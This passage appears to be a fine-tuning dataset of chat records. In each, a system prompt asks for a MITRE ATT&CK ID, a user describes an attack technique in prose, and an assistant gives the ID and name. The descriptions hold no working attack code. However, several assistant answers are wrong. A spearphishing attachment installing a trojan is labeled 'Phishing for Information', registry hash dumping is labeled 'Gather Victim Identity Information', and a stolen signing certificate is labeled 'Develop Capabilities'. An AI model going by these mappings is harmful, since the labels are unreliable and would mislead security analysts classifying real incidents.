                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs a PowerShell script to list all active processes on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a USB dongle preloaded with a script that opens a reverse shell when the dongle is recognized by the OS."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the COM moniker mechanism, the attacker passes a malicious object reference between processes to execute code."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a DNS brute‑force tool to discover hidden subdomains of the target organization by iterating common subdomain names."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attack uses BITS to execute a remote script that modifies the Windows registry to disable security tools."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the AppInit_DLLs feature by adding a DLL path with environment variables, ensuring the malicious library loads during system startup."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors deployed a malicious Android app on a public app store, which once installed, captures device credentials and forwards them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ traffic signaling through a covert port knocking protocol, requiring a three‑step knock on ports 1234, 5678, and 9012 to bypass network defenses."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage group inserts a hidden exploit chain into a third‑party analytics script, causing browsers of users who view the compromised page to silently fetch a credential‑stealing tool – a classic drive‑by target technique."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code removes entries from the Windows registry that track executed binaries, effectively erasing execution traces."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the Zone.Identifier alternate data stream of a downloaded executable to remove the Mark of the Web, allowing it to run without SmartScreen warnings."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses ICMP echo request/reply packets to stealthily transmit C2 data."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create a remote thread in a legitimate process and replace the thread's start address with malicious shellcode for execution."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a custom tool to read the SECURITY hive, targeting the LSA Secrets key to collect domain and local account passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker copies confidential documents to an external FTP server as a staging point for later theft."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses Unicode homoglyphs in file names to hide its presence from administrators."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker updates a shared template file with a payload that runs on opening, targeting all employees."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑espionage actors compromised a certificate authority's signing process to issue code signing certificates for espionage tools."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group employs fileless techniques by executing commands directly in memory."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers issue Google Cloud SDK commands like gcloud compute instances list to map the victim's compute resources."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By calling ptrace(PTRACE_ATTACH) on a target process, the attacker gains control of its registers and injects shellcode directly into its address space."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers abused a stolen code‑signing certificate to distribute a malicious PowerShell script via a trusted update channel."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scrapes public job postings to infer the technologies and platforms used by the target."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware campaign exfiltrates victim files by encoding them in base64 and posting them to a hidden GitHub repository."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script uses PowerShell's Get-Service cmdlet to enumerate local system services for potential targets."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers logged in using the factory‑default credentials on several IoT devices to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a disk-wiping tool to permanently delete all files on employee laptops."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker steals a compromised OAuth refresh token for a Salesforce admin and uses it to download all CRM records."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor uses credential stuffing on a web admin portal to gain privileged access and modify site content."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection used a WMI query \"SELECT * FROM Win32_NetworkConnection\" to list current network connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary copies sensitive files to a hidden directory before encrypting them for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By issuing direct volume reads, the implant bypasses OS file permissions and exfiltrates data from hidden partitions."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group used a tool that automatically scrubs metadata and unique markers from infected files before execution."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor used sudo -E to preserve user environment variables, exploiting a vulnerable PATH setting to run a malicious binary as root."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses PowerShell's Get-PnpDevice cmdlet to list all peripheral devices attached to the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email with a link to a fake Office 365 login page captured user credentials, which were then used to access cloud services."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses SSH to log into a switch and runs 'show running-config' to capture the settings."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware contacts a CDN URL that redirects to the actual C2 address after runtime resolution."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilized a social engineering call to obtain admin passwords from a help desk employee, then logged in."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware modifies the Master File Table (MFT) to hide encrypted files, then encrypts them with a unique key per file, preventing access without the decryption key."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious XSLT files are used to invoke Windows script host, allowing the adversary to run a payload on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivered a .exe file that looks like a popular application but fails signature validation, leveraging the invalid signature to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script uses PowerShell's Get-ChildItem to enumerate file system directories and subfolders."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware overwrites the Master Boot Record and then writes random bytes across the entire disk surface."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed a password cracking campaign targeting MD5 password hashes retrieved from a compromised web application."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder dumps the Windows Registry to retrieve stored password hashes and uses them for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker modifies the PID of the token's parent process to mimic a legitimate system process, achieving stealthy privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor’s C2 domain utilizes fast‑flux by having a short TTL and rotating IPs across a botnet to evade static blocklists."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a privilege escalation bug to downgrade the system's logging level, making malicious activity harder to detect."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create a staging area in \\AppData\\Local\\Temp to accumulate data before sending it to C2."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries alter the DC's authentication configuration, inserting a rogue account that can bypass standard login controls."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Pre-OS Boot ROMMONkit technique to replace the device's bootloader with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors leased a DNS server instance to dynamically update IP addresses for their payload distribution."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Overwrites the in‑memory representation of a security token to elevate privileges of a low‑privileged process."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injects a DLL into a legitimate application to hook Win32 API calls and record all mouse movements and button clicks."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT28 leverages the DCOM protocol to spawn a reverse shell from the compromised host to the command server."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set adds a new value to the 'Image File Execution Options' registry path to hijack execution of a legitimate process."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor uses system APIs to gather information about visible Wi‑Fi networks as part of network configuration discovery."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerable IoT device to act as a proxy, relaying and modifying traffic between an employee's laptop and cloud services."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploited a known vulnerability in the IIS HTTP.sys driver to execute arbitrary code and install a backdoor on the compromised server."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects code into the Windows Logon Service (lsass.exe) to alter authentication tokens for privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder stops the CloudWatch Logs agent on several EC2 instances, halting the generation of operational logs."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign utilizes a malicious WordPress plugin to establish a persistent web service channel for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised admin account is used to grant external sharing permissions on a SharePoint site, allowing data theft."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker generates a key pair and embeds the public key in the implant, allowing encrypted communications with the server."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Utilization of compromised service accounts enables an attacker to conduct lateral movement across systems and applications that share those credentials for authentication purposes."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware communicates with its control server via DNS A record lookups, embedding encryption keys in the DNS query payload."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor enumerates the \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office\" keys to discover installed Office versions and configurations."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers exploit a vulnerable plugin to insert a defacement script into the site's header."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post-exploitation, the threat actor clears all autostart mechanisms, including scheduled tasks and registry autorun entries, to cover their tracks."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses a legitimate cloud storage service to host encrypted exfiltrated data."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a rapid succession of HTTP requests to a web application on the endpoint, the malicious actor exhausts worker threads, resulting in a denial of service on the host."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code copies user credential files and exfiltrates them over an encrypted TLS connection to a remote C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A targeted phishing campaign delivered a malicious PDF attachment that, when opened, installed a remote access trojan on the victim's system."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group pads exfiltrated data streams with meaningless characters to thwart anomaly‑based detection systems that look for consistent data patterns."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary removes scheduled tasks and registry run keys to eliminate evidence of persistence mechanisms they installed."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
